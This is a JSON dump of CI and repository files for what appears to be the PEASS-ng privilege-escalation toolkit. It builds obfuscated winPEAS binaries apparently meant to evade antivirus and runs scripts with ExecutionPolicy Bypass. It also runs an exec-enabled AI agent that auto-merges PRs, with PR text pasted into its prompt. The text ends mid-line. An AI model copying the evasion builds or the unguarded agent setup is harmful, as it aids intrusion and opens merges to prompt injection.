[
  {
    "path": ".github/FUNDING.yml",
    "content": "custom: ['https://github.com/sponsors/carlospolop']\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE.md",
    "content": "If you are going to suggest something, please remove the following template. \nIf your issue is related with WinPEAS.ps1 please mention https://github.com/RandolphConley\n\n#### Issue description\n\n\n#### Steps to reproduce the issue\n\n1.  \n2. \n3.\n\n#### Which parameters did you use for executing the script and how did you execute it?\n\n\n#### If winpeas, did you use a clean or obfuscated winpeas, and for which architecture?\n\n\n#### Is there any AV / Threat protection in the system?\n\n\n#### Please, indicate the OS, the OS version, and the kernel version (build number in case of Windows)\n\n\n#### Please, indicate the check that is failing and add a screenshot showing the problem\n\n\n#### How did you expect it to work?\n\n\n#### Additional details / screenshot\n\n"
  },
  {
    "path": ".github/chack-agent/pr-merge-schema.json",
    "content": "{\n  \"type\": \"object\",\n  \"additionalProperties\": false,\n  \"properties\": {\n    \"decision\": {\n      \"type\": \"string\",\n      \"enum\": [\"merge\", \"comment\"]\n    },\n    \"message\": {\n      \"type\": \"string\"\n    },\n    \"confidence\": {\n      \"type\": \"string\",\n      \"enum\": [\"low\", \"medium\", \"high\"]\n    }\n  },\n  \"required\": [\"decision\", \"message\", \"confidence\"]\n}\n"
  },
  {
    "path": ".github/workflows/CI-master_tests.yml",
    "content": "name: CI-master_test\n\non:\n  push:\n    branches:\n      - master\n      - main\n    paths-ignore:\n        - '.github/**'\n  \n  schedule:\n    - cron: \"5 4 1 * *\"\n\n  workflow_dispatch:\n\njobs:\n  Build_and_test_winpeas_master:\n    runs-on: windows-latest\n    \n    # environment variables\n    env:\n      Solution_Path: 'winPEAS\\winPEASexe\\winPEAS.sln'\n      Configuration: 'Release'\n      DotFuscatorGeneratedPath: 'winPEAS\\winPEASexe\\binaries\\Obfuscated Releases\\Dotfuscated'\n\n    steps:\n      # checkout\n      - name: Checkout\n        uses: actions/checkout@v5\n        with:\n          ref: ${{ github.head_ref }}\n      \n      - name: Download regexes\n        run: |\n          powershell.exe -ExecutionPolicy Bypass -File build_lists/download_regexes.ps1\n            \n      # Add  MSBuild to the PATH: https://github.com/microsoft/setup-msbuild\n      - name: Setup MSBuild.exe\n        uses: microsoft/setup-msbuild@v2\n       \n      # Setup NuGet\n      - name: Setup NuGet.exe\n        uses: nuget/setup-nuget@v2\n        \n      # Restore the packages for testing\n      - name: Restore the application       \n        run: nuget restore $env:Solution_Path\n        \n      # build\n      - name: run MSBuild\n        run: msbuild $env:Solution_Path /p:Configuration=$env:Configuration /p:UseSharedCompilation=false\n        \n      # Execute all unit tests in the solution\n      - name: Execute unit tests\n        run: dotnet test $env:Solution_Path --configuration $env:Configuration\n        \n      # Build & update all versions\n      - name: Build all versions\n        run: |\n            echo \"build x64\"\n            msbuild -m $env:Solution_Path /t:Rebuild /p:Configuration=$env:Configuration /p:Platform=\"x64\" /p:UseSharedCompilation=false\n            \n            echo \"build x86\"\n            msbuild -m $env:Solution_Path /t:Rebuild /p:Configuration=$env:Configuration /p:Platform=\"x86\" /p:UseSharedCompilation=false\n            \n            echo \"build Any CPU\"\n            msbuild -m $env:Solution_Path /t:Rebuild /p:Configuration=$env:Configuration /p:Platform=\"Any CPU\" /p:UseSharedCompilation=false\n      \n      - name: Execute winPEAS -h\n        shell: pwsh\n        run: |\n          $Configuration = \"Release\"\n          $exePath = \"winPEAS/winPEASexe/winPEAS/bin/$Configuration/winPEAS.exe\"\n          if (Test-Path $exePath) {\n            & $exePath -h\n          } else {\n            Write-Error \"winPEAS.exe not found at $exePath\"\n          }\n\n      - name: Execute winPEAS cloudinfo\n        shell: pwsh\n        run: |\n          $Configuration = \"Release\"\n          $exePath = \"winPEAS/winPEASexe/winPEAS/bin/$Configuration/winPEAS.exe\"\n          if (Test-Path $exePath) {\n            & $exePath cloudinfo\n          } else {\n            Write-Error \"winPEAS.exe not found at $exePath\"\n          }\n\n      - name: Execute winPEAS systeminfo\n        shell: pwsh\n        run: |\n          $Configuration = \"Release\"\n          $exePath = \"winPEAS/winPEASexe/winPEAS/bin/$Configuration/winPEAS.exe\"\n          if (Test-Path $exePath) {\n            & $exePath systeminfo\n          } else {\n            Write-Error \"winPEAS.exe not found at $exePath\"\n          }\n      \n      - name: Execute winPEAS networkinfo\n        shell: pwsh\n        run: |\n          $Configuration = \"Release\"\n          $exePath = \"winPEAS/winPEASexe/winPEAS/bin/$Configuration/winPEAS.exe\"\n          if (Test-Path $exePath) {\n            & $exePath networkinfo\n          } else {\n            Write-Error \"winPEAS.exe not found at $exePath\"\n          }\n      \n      # Copy the built versions\n      - name: Copy all versions\n        run: |\n            echo \"copy x64\"\n            cp winPEAS\\winPEASexe\\winPEAS\\bin\\x64\\$env:Configuration\\winPEAS.exe winPEAS\\winPEASexe\\binaries\\x64\\$env:Configuration\\winPEASx64.exe\n            \n            echo \"copy x86\"\n            cp winPEAS\\winPEASexe\\winPEAS\\bin\\x86\\$env:Configuration\\winPEAS.exe winPEAS\\winPEASexe\\binaries\\x86\\$env:Configuration\\winPEASx86.exe\n            \n            echo \"copy Any\"\n            cp winPEAS\\winPEASexe\\winPEAS\\bin\\$env:Configuration\\winPEAS.exe winPEAS\\winPEASexe\\binaries\\$env:Configuration\\winPEASany.exe        \n      \n      # Setup DotFuscator\n      - name: Setup DotFuscator\n        run: |\n            7z x winPEAS\\winPEASexe\\Dotfuscator\\DotfuscatorCE.zip\n            whoami\n            mkdir -p $env:USERPROFILE\\AppData\\Local\\\"PreEmptive Solutions\"\\\"Dotfuscator Community Edition\"\\6.0 -erroraction 'silentlycontinue'\n            cp DotfuscatorCE\\license\\* $env:USERPROFILE\\AppData\\Local\\\"PreEmptive Solutions\"\\\"Dotfuscator Community Edition\"\\6.0\\\n      # build obfuscated versions\n      - name: Build obfuscated versions\n        run: |\n            DotfuscatorCE\\dotfuscator.exe \"winPEAS\\winPEASexe\\binaries\\Obfuscated Releases\\x64.xml\"\n            DotfuscatorCE\\dotfuscator.exe \"winPEAS\\winPEASexe\\binaries\\Obfuscated Releases\\x86.xml\"\n            DotfuscatorCE\\dotfuscator.exe \"winPEAS\\winPEASexe\\binaries\\Obfuscated Releases\\any.xml\" \n      # copy the files\n      - name: Copy Dotfuscator generated files\n        run: |\n            cp $env:DotFuscatorGeneratedPath\\x64\\winPEASx64.exe \"winPEAS\\winPEASexe\\binaries\\Obfuscated Releases\\winPEASx64_ofs.exe\"            \n            cp $env:DotFuscatorGeneratedPath\\x86\\winPEASx86.exe \"winPEAS\\winPEASexe\\binaries\\Obfuscated Releases\\winPEASx86_ofs.exe\"\n            cp $env:DotFuscatorGeneratedPath\\any\\winPEASany.exe \"winPEAS\\winPEASexe\\binaries\\Obfuscated Releases\\winPEASany_ofs.exe\"\n      \n      # Upload all the versions for the release\n      - name: Upload winpeasx64\n        uses: actions/upload-artifact@v4\n        with:\n          name: winPEASx64.exe\n          path: winPEAS\\winPEASexe\\binaries\\x64\\Release\\winPEASx64.exe\n      \n      - name: Upload winpeasx86\n        uses: actions/upload-artifact@v4\n        with:\n          name: winPEASx86.exe\n          path: winPEAS\\winPEASexe\\binaries\\x86\\Release\\winPEASx86.exe\n      \n      - name: Upload winpeasany\n        uses: actions/upload-artifact@v4\n        with:\n          name: winPEASany.exe\n          path: winPEAS\\winPEASexe\\binaries\\Release\\winPEASany.exe\n      \n      - name: Upload winpeasx64ofs\n        uses: actions/upload-artifact@v4\n        with:\n          name: winPEASx64_ofs.exe\n          path: winPEAS\\winPEASexe\\binaries\\Obfuscated Releases\\winPEASx64_ofs.exe\n      \n      - name: Upload winpeasx86ofs\n        uses: actions/upload-artifact@v4\n        with:\n          name: winPEASx86_ofs.exe\n          path: winPEAS\\winPEASexe\\binaries\\Obfuscated Releases\\winPEASx86_ofs.exe\n          \n      - name: Upload winpeasanyofs\n        uses: actions/upload-artifact@v4\n        with:\n          name: winPEASany_ofs.exe\n          path: winPEAS\\winPEASexe\\binaries\\Obfuscated Releases\\winPEASany_ofs.exe\n      \n      - name: Upload winpeas.bat\n        uses: actions/upload-artifact@v4\n        with:\n          name: winPEAS.bat\n          path: winPEAS\\winPEASbat\\winPEAS.bat\n          \n      # Git add\n      #- name: Create local changes\n      #  run: |\n      #      git add winPEAS\\winPEASexe\\binaries\\Release\\*\n      #      git add winPEAS\\winPEASexe\\binaries\\x64\\*\n      #      git add winPEAS\\winPEASexe\\binaries\\x86\\*\n      #      git add \"winPEAS\\winPEASexe\\binaries\\Obfuscated Releases\\*.exe\"\n      # Git commit\n      #- name: Commit results to Github\n      #  run: |\n      #    git config --local user.email \"ci@winpeas.com\"\n      #    git config --global user.name \"CI-winpeas\"\n      #    git pull origin \"${{ github.ref }}\" --autostash --rebase -Xours\n      #    git commit -m \"winpeas binaries auto update\" -a --allow-empty\n      # Git push\n      #- name: Push changes\n      #  uses: ad-m/github-push-action@master\n      #  with:\n      #    branch: ${{ github.head_ref }}\n      #    github_token: ${{ secrets.GITHUB_TOKEN }}\n      #    force: true\n\n  Build_and_test_linpeas_master:\n    runs-on: ubuntu-latest\n\n    steps:\n      # Download repo\n      - uses: actions/checkout@v5\n        with:\n          ref: ${{ github.head_ref }}\n      \n      # Setup go\n      - uses: actions/setup-go@v6\n        with:\n          go-version: '1.23'\n          cache: false\n      - run: go version\n      \n      # Build linpeas\n      - name: Build linpeas\n        run: |\n          python3 -m pip install PyYAML\n          cd linPEAS\n          python3 -m builder.linpeas_builder --all --output linpeas_fat.sh\n          python3 -m builder.linpeas_builder --all-no-fat --output linpeas.sh\n          python3 -m builder.linpeas_builder --small --output linpeas_small.sh\n\n      - name: Run linPEAS builder tests\n        run: python3 -m unittest discover -s linPEAS/tests -p \"test_*.py\"\n      \n      # Build linpeas binaries\n      - name: Build linpeas binaries \n        run: |\n          git clone https://github.com/carlospolop/sh2bin\n          cd sh2bin\n          bash build.sh ../linPEAS/linpeas.sh\n          mv builds/sh2bin_linux_386 builds/linpeas_linux_386\n          mv builds/sh2bin_linux_amd64 builds/linpeas_linux_amd64\n          mv builds/sh2bin_linux_arm builds/linpeas_linux_arm\n          mv builds/sh2bin_linux_arm64 builds/linpeas_linux_arm64\n          mv builds/sh2bin_darwin_amd64 builds/linpeas_darwin_amd64\n          mv builds/sh2bin_darwin_arm64 builds/linpeas_darwin_arm64\n          ls -lR ./ \n            \n      # Run linpeas help as quick test\n      - name: Run linpeas help\n        run: linPEAS/linpeas_fat.sh -h && linPEAS/linpeas.sh -h && linPEAS/linpeas_small.sh -h\n      \n      # Run linpeas as a test\n      - name: Run linpeas system_information\n        run: linPEAS/linpeas_fat.sh -o system_information -a\n      \n      - name: Run linpeas container\n        run: linPEAS/linpeas_fat.sh -o container -a\n      \n      - name: Run linpeas cloud\n        run: linPEAS/linpeas_fat.sh -o cloud -a\n      \n      - name: Run linpeas procs_crons_timers_srvcs_sockets\n        run: linPEAS/linpeas_fat.sh -o procs_crons_timers_srvcs_sockets -a\n      \n      - name: Run linpeas network_information\n        run: linPEAS/linpeas_fat.sh -o network_information -t -a\n      \n      - name: Run linpeas users_information\n        run: linPEAS/linpeas_fat.sh -o users_information -a\n      \n      - name: Run linpeas software_information\n        run: linPEAS/linpeas_fat.sh -o software_information -a\n      \n      - name: Run linpeas interesting_perms_files\n        run: linPEAS/linpeas_fat.sh -o interesting_perms_files -a\n      \n      - name: Run linpeas interesting_files\n        run: linPEAS/linpeas_fat.sh -o interesting_files -a\n      \n      # Too much time\n      #- name: Run linpeas api_keys_regex\n      #  run: linPEAS/linpeas.sh -o api_keys_regex -r\n      \n      # Upload files for release\n      - name: Upload linpeas.sh\n        uses: actions/upload-artifact@v4\n        with:\n          name: linpeas.sh\n          path: linPEAS/linpeas.sh\n      \n      - name: Upload linpeas_fat.sh\n        uses: actions/upload-artifact@v4\n        with:\n          name: linpeas_fat.sh\n          path: linPEAS/linpeas_fat.sh\n      \n      - name: Upload linpeas_small.sh\n        uses: actions/upload-artifact@v4\n        with:\n          name: linpeas_small.sh\n          path: linPEAS/linpeas_small.sh\n      \n      ## Linux bins\n      - name: Upload linpeas_linux_386\n        uses: actions/upload-artifact@v4\n        with:\n          name: linpeas_linux_386\n          path: sh2bin/builds/linpeas_linux_386\n      \n      - name: Upload linpeas_linux_amd64\n        uses: actions/upload-artifact@v4\n        with:\n          name: linpeas_linux_amd64\n          path: sh2bin/builds/linpeas_linux_amd64\n      \n      - name: Upload linpeas_linux_arm\n        uses: actions/upload-artifact@v4\n        with:\n          name: linpeas_linux_arm\n          path: sh2bin/builds/linpeas_linux_arm\n          \n      - name: Upload linpeas_linux_arm64\n        uses: actions/upload-artifact@v4\n        with:\n          name: linpeas_linux_arm64\n          path: sh2bin/builds/linpeas_linux_arm64\n      \n      ## Darwin bins\n      - name: Upload linpeas_darwin_amd64\n        uses: actions/upload-artifact@v4\n        with:\n          name: linpeas_darwin_amd64\n          path: sh2bin/builds/linpeas_darwin_amd64\n          \n      - name: Upload linpeas_darwin_arm64\n        uses: actions/upload-artifact@v4\n        with:\n          name: linpeas_darwin_arm64\n          path: sh2bin/builds/linpeas_darwin_arm64\n      \n      # Clean sh2bin repo\n      - name: Cleaning sh2bin\n        run: rm -rf sh2bin\n\n     # - name: Create local changes\n     #   run: git add linPEAS/linpeas.sh\n     # - name: Commit results to Github\n     #   run: |\n     #     git config --local user.email \"\"\n     #     git config --global user.name \"CI-linpeas-ubuntu\"\n     #     git pull origin \"${{ github.ref }}\" --autostash --rebase -Xours\n     #     git commit -m \"linpeas.sh auto update\" -a --allow-empty\n     # - name: Push changes\n     #   uses: ad-m/github-push-action@master\n     #   with:\n     #     branch: ${{ github.head_ref }}\n     #     github_token: ${{ secrets.GITHUB_TOKEN }}\n     #     force: true\n  \n  Build_and_test_macpeas_master:\n    runs-on: macos-latest\n\n    steps:\n      # Download repo\n      - uses: actions/checkout@v5\n      \n      # Build linpeas\n      - name: Build macpeas\n        run: |\n          python3 -m pip install PyYAML --break-system-packages\n          python3 -m pip install requests --break-system-packages\n          cd linPEAS\n          python3 -m builder.linpeas_builder --all --output linpeas_fat.sh\n      \n      # Run linpeas help as quick test\n      - name: Run macpeas help\n        run: linPEAS/linpeas_fat.sh -h\n      \n      # Run macpeas parts to test it\n      #- name: Run macpeas\n      #  run: linPEAS/linpeas.sh -D -o system_information,container,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information\n\n     \n  Publish_release:\n    runs-on: ubuntu-latest\n    needs: [Build_and_test_winpeas_master, Build_and_test_linpeas_master, Build_and_test_macpeas_master]\n\n    steps:\n    # Download files to release\n    - name: Download winpeasx64ofs\n      uses: actions/download-artifact@v4.1.7\n      with:\n        name: winPEASx64_ofs.exe\n\n    - name: Download winpeasx86ofs\n      uses: actions/download-artifact@v4.1.7\n      with:\n        name: winPEASx86_ofs.exe\n\n    - name: Download winpeasanyofs\n      uses: actions/download-artifact@v4.1.7\n      with:\n        name: winPEASany_ofs.exe\n\n    - name: Download winpeasx64\n      uses: actions/download-artifact@v4.1.7\n      with:\n        name: winPEASx64.exe\n    \n    - name: Download winpeasx86\n      uses: actions/download-artifact@v4.1.7\n      with:\n        name: winPEASx86.exe\n\n    - name: Download winpeasany\n      uses: actions/download-artifact@v4.1.7\n      with:\n        name: winPEASany.exe\n    \n    - name: Download winpeas.bat\n      uses: actions/download-artifact@v4.1.7\n      with:\n        name: winPEAS.bat\n\n    - name: Download linpeas.sh\n      uses: actions/download-artifact@v4.1.7\n      with:\n        name: linpeas.sh\n    \n    - name: Download linpeas_fat.sh\n      uses: actions/download-artifact@v4.1.7\n      with:\n        name: linpeas_fat.sh\n    \n    - name: Download linpeas_small.sh\n      uses: actions/download-artifact@v4.1.7\n      with:\n        name: linpeas_small.sh\n\n    - name: Download linpeas_linux_386\n      uses: actions/download-artifact@v4.1.7\n      with:\n        name: linpeas_linux_386\n\n    - name: Download linpeas_linux_amd64\n      uses: actions/download-artifact@v4.1.7\n      with:\n        name: linpeas_linux_amd64\n\n    - name: Download linpeas_linux_arm\n      uses: actions/download-artifact@v4.1.7\n      with:\n        name: linpeas_linux_arm\n\n    - name: Download linpeas_linux_arm64\n      uses: actions/download-artifact@v4.1.7\n      with:\n        name: linpeas_linux_arm64\n\n    - name: Download linpeas_darwin_amd64\n      uses: actions/download-artifact@v4.1.7\n      with:\n        name: linpeas_darwin_amd64\n\n    - name: Download linpeas_darwin_arm64\n      uses: actions/download-artifact@v4.1.7\n      with:\n        name: linpeas_darwin_arm64\n    \n    - name: Get current date\n      id: date\n      run: echo \"date=$(date +'%Y%m%d')\" >> \"$GITHUB_OUTPUT\"\n    \n    - name: Generate random\n      id: random_n\n      run: echo \"some_rand=$(openssl rand -hex 4)\" >> \"$GITHUB_OUTPUT\"\n    \n    # Create the release\n    - name: Create Release\n      id: create_release\n      uses: actions/create-release@v1\n      env:\n        GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n      with:\n        tag_name: ${{steps.date.outputs.date}}-${{steps.random_n.outputs.some_rand}}\n        release_name: Release ${{ github.ref }} ${{steps.date.outputs.date}}-${{steps.random_n.outputs.some_rand}}\n        draft: false\n        prerelease: false\n        \n    - id: upload_release_assets\n      uses: dwenegar/upload-release-assets@v1\n      with:\n        release_id: ${{ steps.create_release.outputs.id }}\n        assets_path: .\n      env:\n        GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n"
  },
  {
    "path": ".github/workflows/PR-tests.yml",
    "content": "name: PR-tests\n\non:\n  pull_request:\n    branches:\n      - master\n      - main\n    paths-ignore:\n      - '.github/**'\n\n  workflow_dispatch:\n\njobs:\n  Build_and_test_winpeas_pr:\n    runs-on: windows-latest\n    \n    # environment variables\n    env:\n      Solution_Path: 'winPEAS\\winPEASexe\\winPEAS.sln'\n      Configuration: 'Release'\n\n    steps:\n      # checkout\n      - name: Checkout\n        uses: actions/checkout@v5\n        with:\n          ref: ${{ github.head_ref }}\n      \n      - name: Download regexes\n        run: |\n          powershell.exe -ExecutionPolicy Bypass -File build_lists/download_regexes.ps1\n            \n      # Add MSBuild to the PATH\n      - name: Setup MSBuild.exe\n        uses: microsoft/setup-msbuild@v2\n       \n      # Setup NuGet\n      - name: Setup NuGet.exe\n        uses: nuget/setup-nuget@v2\n        \n      # Restore the packages for testing\n      - name: Restore the application       \n        run: nuget restore $env:Solution_Path\n        \n      # build\n      - name: run MSBuild\n        run: msbuild $env:Solution_Path /p:Configuration=$env:Configuration /p:UseSharedCompilation=false\n\n      # Execute unit tests in the solution\n      - name: Execute unit tests\n        run: dotnet test $env:Solution_Path --configuration $env:Configuration\n        \n      # Build all versions\n      - name: Build all versions\n        run: |\n            echo \"build x64\"\n            msbuild -m $env:Solution_Path /t:Rebuild /p:Configuration=$env:Configuration /p:Platform=\"x64\" /p:UseSharedCompilation=false\n            \n            echo \"build x86\"\n            msbuild -m $env:Solution_Path /t:Rebuild /p:Configuration=$env:Configuration /p:Platform=\"x86\" /p:UseSharedCompilation=false\n            \n            echo \"build Any CPU\"\n            msbuild -m $env:Solution_Path /t:Rebuild /p:Configuration=$env:Configuration /p:Platform=\"Any CPU\" /p:UseSharedCompilation=false\n      \n      - name: Execute winPEAS -h\n        shell: pwsh\n        run: |\n          $Configuration = \"Release\"\n          $exePath = \"winPEAS/winPEASexe/winPEAS/bin/$Configuration/winPEAS.exe\"\n          if (Test-Path $exePath) {\n            & $exePath -h\n          } else {\n            Write-Error \"winPEAS.exe not found at $exePath\"\n          }\n\n      - name: Execute winPEAS cloudinfo\n        shell: pwsh\n        run: |\n          $Configuration = \"Release\"\n          $exePath = \"winPEAS/winPEASexe/winPEAS/bin/$Configuration/winPEAS.exe\"\n          if (Test-Path $exePath) {\n            & $exePath cloudinfo\n          } else {\n            Write-Error \"winPEAS.exe not found at $exePath\"\n          }\n\n      - name: Execute winPEAS systeminfo\n        shell: pwsh\n        run: |\n          $Configuration = \"Release\"\n          $exePath = \"winPEAS/winPEASexe/winPEAS/bin/$Configuration/winPEAS.exe\"\n          if (Test-Path $exePath) {\n            & $exePath systeminfo\n          } else {\n            Write-Error \"winPEAS.exe not found at $exePath\"\n          }\n      \n      - name: Execute winPEAS networkinfo\n        shell: pwsh\n        run: |\n          $Configuration = \"Release\"\n          $exePath = \"winPEAS/winPEASexe/winPEAS/bin/$Configuration/winPEAS.exe\"\n          if (Test-Path $exePath) {\n            & $exePath networkinfo\n          } else {\n            Write-Error \"winPEAS.exe not found at $exePath\"\n          }\n\n  Build_and_test_linpeas_pr:\n    runs-on: ubuntu-latest\n\n    steps:\n      # Download repo\n      - uses: actions/checkout@v5\n        with:\n          ref: ${{ github.head_ref }}\n      \n      # Setup go\n      - uses: actions/setup-go@v6\n        with:\n          go-version: '1.23'\n          cache: false\n      - run: go version\n      \n      # Build linpeas\n      - name: Build linpeas\n        run: |\n          python3 -m pip install PyYAML\n          cd linPEAS\n          python3 -m builder.linpeas_builder --all --output linpeas_fat.sh\n          python3 -m builder.linpeas_builder --all-no-fat --output linpeas.sh\n          python3 -m builder.linpeas_builder --small --output linpeas_small.sh\n\n      - name: Run linPEAS builder tests\n        run: python3 -m unittest discover -s linPEAS/tests -p \"test_*.py\"\n      \n      # Run linpeas help as quick test\n      - name: Run linpeas help\n        run: linPEAS/linpeas_fat.sh -h && linPEAS/linpeas.sh -h && linPEAS/linpeas_small.sh -h\n      \n      # Run linpeas as a test\n      - name: Run linpeas system_information\n        run: linPEAS/linpeas_fat.sh -o system_information -a\n      \n      - name: Run linpeas container\n        run: linPEAS/linpeas_fat.sh -o container -a\n      \n      - name: Run linpeas cloud\n        run: linPEAS/linpeas_fat.sh -o cloud -a\n      \n      - name: Run linpeas procs_crons_timers_srvcs_sockets\n        run: linPEAS/linpeas_fat.sh -o procs_crons_timers_srvcs_sockets -a\n      \n      - name: Run linpeas network_information\n        run: linPEAS/linpeas_fat.sh -o network_information -t -a\n      \n      - name: Run linpeas users_information\n        run: linPEAS/linpeas_fat.sh -o users_information -a\n      \n      - name: Run linpeas software_information\n        run: linPEAS/linpeas_fat.sh -o software_information -a\n      \n      - name: Run linpeas interesting_perms_files\n        run: linPEAS/linpeas_fat.sh -o interesting_perms_files -a\n      \n      - name: Run linpeas interesting_files\n        run: linPEAS/linpeas_fat.sh -o interesting_files -a\n\n  Build_and_test_macpeas_pr:\n    runs-on: macos-latest\n\n    steps:\n      # Download repo\n      - uses: actions/checkout@v5\n        with:\n          ref: ${{ github.head_ref }}\n      \n      # Build linpeas (macpeas)\n      - name: Build macpeas\n        run: |\n          python3 -m pip install PyYAML --break-system-packages\n          python3 -m pip install requests --break-system-packages\n          cd linPEAS\n          python3 -m builder.linpeas_builder --all --output linpeas_fat.sh\n      \n      # Run linpeas help as quick test\n      - name: Run macpeas help\n        run: linPEAS/linpeas_fat.sh -h\n      \n      # Run macpeas parts to test it\n      - name: Run macpeas system_information\n        run: linPEAS/linpeas_fat.sh -o system_information -a\n      \n      # - name: Run macpeas container\n      #   run: linPEAS/linpeas_fat.sh -o container -a\n      \n      # - name: Run macpeas cloud\n      #   run: linPEAS/linpeas_fat.sh -o cloud -a\n      \n      # - name: Run macpeas procs_crons_timers_srvcs_sockets\n      #   run: linPEAS/linpeas_fat.sh -o procs_crons_timers_srvcs_sockets -a\n      \n      # - name: Run macpeas network_information\n      #   run: linPEAS/linpeas_fat.sh -o network_information -t -a\n      \n      # - name: Run macpeas users_information\n      #   run: linPEAS/linpeas_fat.sh -o users_information -a\n      \n      # - name: Run macpeas software_information\n      #   run: linPEAS/linpeas_fat.sh -o software_information -a\n"
  },
  {
    "path": ".github/workflows/artifacts_cleanup.yml",
    "content": "name: 'nightly artifacts cleanup'\non:\n  schedule:\n    - cron: '0 6 * * 2' # At 6am on Tuesdays\n  workflow_dispatch:\n\njobs:\n  delete-artifacts:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: kolpav/purge-artifacts-action@v1\n        with:\n          token: ${{ secrets.GITHUB_TOKEN }}\n          expire-in: 1days # Set this to 0 to delete all artifacts\n"
  },
  {
    "path": ".github/workflows/chack-agent-pr-triage.yml",
    "content": "name: Chack-Agent PR Triage\n\non:\n  workflow_run:\n    workflows: [\"PR-tests\"]\n    types: [completed]\n\njobs:\n  chack_agent_triage:\n    if: ${{ github.event.workflow_run.conclusion == 'success' }}\n    runs-on: ubuntu-latest\n    permissions:\n      contents: write\n      pull-requests: write\n    env:\n      CHACK_LOGS_HTTP_URL: ${{ secrets.CHACK_LOGS_HTTP_URL }}\n    outputs:\n      should_run: ${{ steps.gate.outputs.should_run }}\n      pr_number: ${{ steps.gate.outputs.pr_number }}\n      pr_title: ${{ steps.gate.outputs.pr_title }}\n      pr_body: ${{ steps.gate.outputs.pr_body }}\n      base_ref: ${{ steps.gate.outputs.base_ref }}\n      head_ref: ${{ steps.gate.outputs.head_ref }}\n      base_sha: ${{ steps.gate.outputs.base_sha }}\n      head_sha: ${{ steps.gate.outputs.head_sha }}\n      decision: ${{ steps.parse.outputs.decision }}\n      message: ${{ steps.parse.outputs.message }}\n\n    steps:\n      - name: Resolve PR context\n        id: gate\n        env:\n          PR_NUMBER: ${{ github.event.workflow_run.pull_requests[0].number }}\n          HEAD_BRANCH: ${{ github.event.workflow_run.head_branch }}\n          GH_REPO: ${{ github.repository }}\n          GH_TOKEN: ${{ github.token }}\n        run: |\n          pr_number=\"${PR_NUMBER}\"\n          if [ -z \"$pr_number\" ] && [ -n \"$HEAD_BRANCH\" ]; then\n            pr_number=\"$(gh pr list --state open --head \"$HEAD_BRANCH\" --json number --jq '.[0].number')\"\n          fi\n          if [ -z \"$pr_number\" ]; then\n            echo \"No pull request found for this workflow_run; skipping.\"\n            echo \"should_run=false\" >> \"$GITHUB_OUTPUT\"\n            echo \"pr_number=\" >> \"$GITHUB_OUTPUT\"\n            exit 0\n          fi\n\n          author=\"$(gh pr view \"$pr_number\" --json author --jq .author.login)\"\n          if [ \"$author\" != \"carlospolop\" ]; then\n            echo \"PR author is $author; skipping.\"\n            echo \"should_run=false\" >> \"$GITHUB_OUTPUT\"\n            echo \"pr_number=$pr_number\" >> \"$GITHUB_OUTPUT\"\n            exit 0\n          fi\n\n          pr_title=\"$(gh pr view \"$pr_number\" --json title --jq .title)\"\n          pr_body=\"$(gh pr view \"$pr_number\" --json body --jq .body)\"\n          base_ref=\"$(gh pr view \"$pr_number\" --json baseRefName --jq .baseRefName)\"\n          head_ref=\"$(gh pr view \"$pr_number\" --json headRefName --jq .headRefName)\"\n          base_sha=\"$(gh pr view \"$pr_number\" --json baseRefOid --jq .baseRefOid)\"\n          head_sha=\"$(gh pr view \"$pr_number\" --json headRefOid --jq .headRefOid)\"\n\n          echo \"should_run=true\" >> \"$GITHUB_OUTPUT\"\n          echo \"pr_number=$pr_number\" >> \"$GITHUB_OUTPUT\"\n          echo \"pr_title<<EOF\" >> \"$GITHUB_OUTPUT\"\n          echo \"$pr_title\" >> \"$GITHUB_OUTPUT\"\n          echo \"EOF\" >> \"$GITHUB_OUTPUT\"\n          echo \"pr_body<<EOF\" >> \"$GITHUB_OUTPUT\"\n          echo \"$pr_body\" >> \"$GITHUB_OUTPUT\"\n          echo \"EOF\" >> \"$GITHUB_OUTPUT\"\n          echo \"base_ref=$base_ref\" >> \"$GITHUB_OUTPUT\"\n          echo \"head_ref=$head_ref\" >> \"$GITHUB_OUTPUT\"\n          echo \"base_sha=$base_sha\" >> \"$GITHUB_OUTPUT\"\n          echo \"head_sha=$head_sha\" >> \"$GITHUB_OUTPUT\"\n\n      - name: Checkout PR merge ref\n        uses: actions/checkout@v5\n        with:\n          ref: refs/pull/${{ steps.gate.outputs.pr_number }}/merge\n        if: ${{ steps.gate.outputs.should_run == 'true' }}\n\n      - name: Pre-fetch base and head refs\n        if: ${{ steps.gate.outputs.should_run == 'true' }}\n        run: |\n          git fetch --no-tags origin \\\n            ${{ steps.gate.outputs.base_ref }} \\\n            +refs/pull/${{ steps.gate.outputs.pr_number }}/head\n\n      - name: Set up Node.js for Codex\n        if: ${{ steps.gate.outputs.should_run == 'true' }}\n        uses: actions/setup-node@v5\n        with:\n          node-version: \"20\"\n\n      - name: Install Codex CLI\n        if: ${{ steps.gate.outputs.should_run == 'true' }}\n        run: |\n          npm install -g @openai/codex\n          codex --version\n\n      - name: Run Chack Agent\n        id: run_chack\n        if: ${{ steps.gate.outputs.should_run == 'true' }}\n        uses: carlospolop/chack-agent@master\n        with:\n          provider: codex\n          model_primary: BEST_QUALITY\n          max_turns: 125\n          main_action: peass-ng-pr-traige\n          sub_action: Chack-Agent PR Triage\n          system_prompt: |\n            You are Chack Agent, an elite PR reviewer for PEASS-ng.\n            Be conservative: merge only if changes are simple, safe, and valuable accoding to the uers give guidelines.\n            If in doubt, comment with clear questions or concerns.\n            Remember taht you are an autonomouts agent, use the exec tool to run the needed commands to list, read, analyze, modify, test...\n          tools_config_json: \"{\\\"exec_enabled\\\": true}\"\n          session_config_json: \"{\\\"long_term_memory_enabled\\\": false}\"\n          agent_config_json: \"{\\\"self_critique_enabled\\\": false, \\\"require_task_steps_manager_init_first\\\": true}\"\n          output_schema_file: .github/chack-agent/pr-merge-schema.json\n          user_prompt: |\n            You are reviewing PR #${{ steps.gate.outputs.pr_number }} for ${{ github.repository }}.\n\n            Decide whether to merge or comment. Merge only if all of the following are true:\n            - Changes are simple and safe (no DoS, no long operations, no backdoors).\n            - Changes follow common PEASS syntax and style without breaking anything and add useful checks or value.\n            - Changes simplify code or add new useful checks without breaking anything.\n\n            If you don't have any doubts, and all the previous conditions are met, decide to merge.\n            If you have serious doubts, choose \"comment\" and include your doubts or questions.\n            If you decide to merge, include a short rationale.\n\n            Pull request title and body:\n            ----\n            ${{ steps.gate.outputs.pr_title }}\n            ${{ 